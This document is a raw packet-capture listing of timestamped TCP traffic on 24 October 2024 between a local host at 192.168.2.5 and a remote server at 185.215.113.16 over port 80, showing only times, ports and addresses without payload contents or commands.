Oct 24, 2024 19:29:28.386157990 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386181116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386192083 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386217117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386250019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386281013 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386284113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386318922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386324883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386353016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386387110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386421919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386430025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386455059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386466026 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386490107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386519909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386533976 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386554003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386588097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386620998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386631012 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386656046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386662006 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386691093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386725903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386759043 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386771917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.386795044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.386818886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.394061089 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.409981966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410037041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410072088 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410104990 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410105944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410136938 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410141945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410177946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410193920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410213947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410250902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410278082 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410337925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410387039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410401106 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410422087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410456896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410489082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410522938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410538912 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410540104 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410576105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410608053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410641909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410675049 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410691977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410696983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410727978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410762072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410789013 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410815954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410845995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410880089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410909891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410913944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410934925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.410965919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.410999060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.411025047 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.411031961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.411062002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.411093950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.411107063 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.411135912 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.411144972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.411178112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.411212921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.411241055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.411257029 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.411286116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.426814079 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503076077 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503134012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503170967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503221989 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503223896 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503273964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503276110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503309011 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503390074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503439903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503443956 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503475904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503490925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503510952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503544092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503561020 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503578901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503613949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503634930 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503647089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503680944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503700972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503719091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503767967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503791094 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503819942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503873110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503906965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503911018 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503942013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.503954887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.503978014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504012108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504045010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504057884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504079103 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504090071 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504112959 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504148006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504182100 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504189968 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504224062 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504232883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504266977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504300117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504333019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504344940 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504376888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504384995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504419088 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504452944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504486084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504494905 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504525900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504528046 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504579067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504616976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504648924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504659891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504683971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504693031 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504718065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504751921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504784107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504796982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504818916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504828930 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504852057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504885912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504916906 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504918098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504955053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.504961967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.504988909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505023956 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505042076 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505058050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505101919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505126953 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505131006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505172968 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505181074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505215883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505249023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505258083 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505283117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505300999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505317926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505340099 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505350113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505368948 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505386114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505419970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505433083 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505453110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505486012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505511045 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505517960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505553007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505574942 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505587101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505620003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505656958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505656958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505691051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505709887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505724907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505758047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505774975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505793095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505826950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505860090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505871058 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505894899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505904913 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.505928993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505963087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.505973101 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506016016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506048918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506064892 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506083012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506118059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506138086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506170988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506206036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506239891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506253004 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506274939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506308079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506320000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506341934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506361961 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506376982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506409883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506418943 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506443977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506477118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506500959 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506510019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506544113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506577015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506587982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506611109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506618023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506645918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506680012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506712914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506724119 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506747007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506752014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506782055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506815910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506858110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506886005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506920099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506928921 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.506954908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.506989002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507024050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507034063 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507056952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507070065 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507092953 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507124901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507158995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507168055 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507193089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507204056 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507227898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507261038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507297039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507302999 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507339954 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507349968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507384062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507416964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507427931 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507451057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507467985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507484913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507512093 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507518053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507551908 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507551908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507585049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507618904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507630110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507668972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507677078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507704020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507740021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507746935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507775068 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507807970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507841110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.507849932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.507882118 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.508024931 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.763405085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763479948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763534069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763653040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763689041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763689995 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.763725996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763762951 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.763762951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763802052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763819933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.763838053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763849020 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.763875008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763927937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.763963938 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.763964891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764002085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764018059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764036894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764071941 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764105082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764123917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764137983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764173985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764178038 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764211893 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764245033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764260054 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764281034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764292955 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764316082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764349937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764383078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764396906 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764417887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764429092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764453888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764487982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764522076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764533997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764555931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764564037 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764590025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764625072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764668941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.764861107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.764909983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765182972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765218973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765234947 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765254974 CEST	80	49725	185.215.113.16	192.168.2.5
